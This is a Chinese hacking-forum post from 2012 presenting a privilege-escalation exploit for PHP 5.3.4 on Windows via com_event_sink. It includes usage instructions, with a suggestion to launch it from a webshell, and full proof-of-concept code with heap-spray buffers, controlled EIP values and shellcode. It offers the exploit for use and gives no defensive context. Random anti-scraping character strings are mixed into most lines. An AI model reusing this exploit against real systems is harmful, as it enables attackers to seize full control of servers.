找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
; M0 D3 c0 P& ]- @; g+ S$ p" @
. q1 h$ ~/ P! i* e/ t测试方法如下:cmd /c x:\php\php.exe x:\test.php
4 ~( J2 z' Q1 A& `
% Q! ?; V, T6 s5 V- A6 \2 y下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php$ M2 _4 P3 |8 s
这里是两个测试的截图:
0 y: G, o! \0 h% ?  Y  I# j1 n/ f6 S% S/ Z

( D7 N3 o5 R. C
& |7 e( ~9 _) g) S3 [, K* z7 R+ [
2 e" L/ e4 b0 o2 X+ V' l" z- v7 n2 e# ]2 Q
成功利用此漏洞的攻击者将获得系统的最高权限3 \# S5 B( b: O' C, P" f- i$ Y

2 M, L. h: e2 ]1 F1 ^5 f3 Q- d1 S  D5 K# o6 T8 d
3 O7 y, f" A2 m! y$ F
! @) {: e1 S8 N6 T8 L

* P4 m! i1 ^: D; [' T3 n, b$ }: W关于漏洞分析稍后附上。一下是PoC代码:( I2 n' v; r8 i4 t2 F0 K

: o- `/ O7 N. O0 h8 L8 w<?php3 L: O" |3 F2 F$ b1 x, V& I
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞( I' x6 z4 j9 b% u3 s" G% h) Y
//$eip ="\x44\x43\x42\x41";4 `  u1 q  F& k" [
$eip= "\x4b\xe8\x57\x78";
. S7 R0 o: K/ z+ P6 l/ n4 _, `4 C$eax ="\x80\x01\x8d\x04";
3 v4 @& O( b! d& ^' F& b$deodrant="";* F: K/ I/ \' f2 X. d& i$ U3 w$ L
$axespray = str_repeat($eip.$eax,0x80);# z3 o. ]4 k7 I  H
//048d0190% D8 F4 d( E/ [5 S; ^! x, G$ o
echo strlen($axespray);' P# f! w: M  e+ F: W0 J
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
4 s7 b" g5 w9 d7 C: jecho "Silic Group Hacker Army - BlackBap.Org";
0 W' M8 [( Y0 C. m! x& h  d//19200 ==4B32 4b00. A, p3 x) q. k8 t; f+ k
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}1 c5 X+ n6 q2 z3 o
$terminate = "T";  n, Q( r! `" @. ^
$u[] =$deodrant;
9 [. t2 u# l# V* ?. d" N& w9 d7 J$r[] =$deodrant.$terminate;
/ X5 b7 M4 t7 g5 M$a[] =$deodrant.$terminate;7 O1 T. V, n* F2 r) K& n4 N
$s[] =$deodrant.$terminate;
1 ~$ @( j$ h+ I3 I  O' o//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的0 ?/ _3 _& A* n" H7 D
$vVar = new VARIANT(0x048d0000+180);- F& \; M6 j6 U; S
//弹窗代码(Shellcode): P$ k5 L8 F& U+ u( s; a
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";) \$ Z7 }+ S: D# Q8 A/ f
$var2 = new VARIANT(0x41414242);
6 G* o0 [6 j" ucom_event_sink($vVar,$var2,$buffer);* D. K2 W: ~5 x( h) x) \1 v2 H' h
?>
+ R" Q8 a6 L. x7 ^& E; o5 Z. u

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表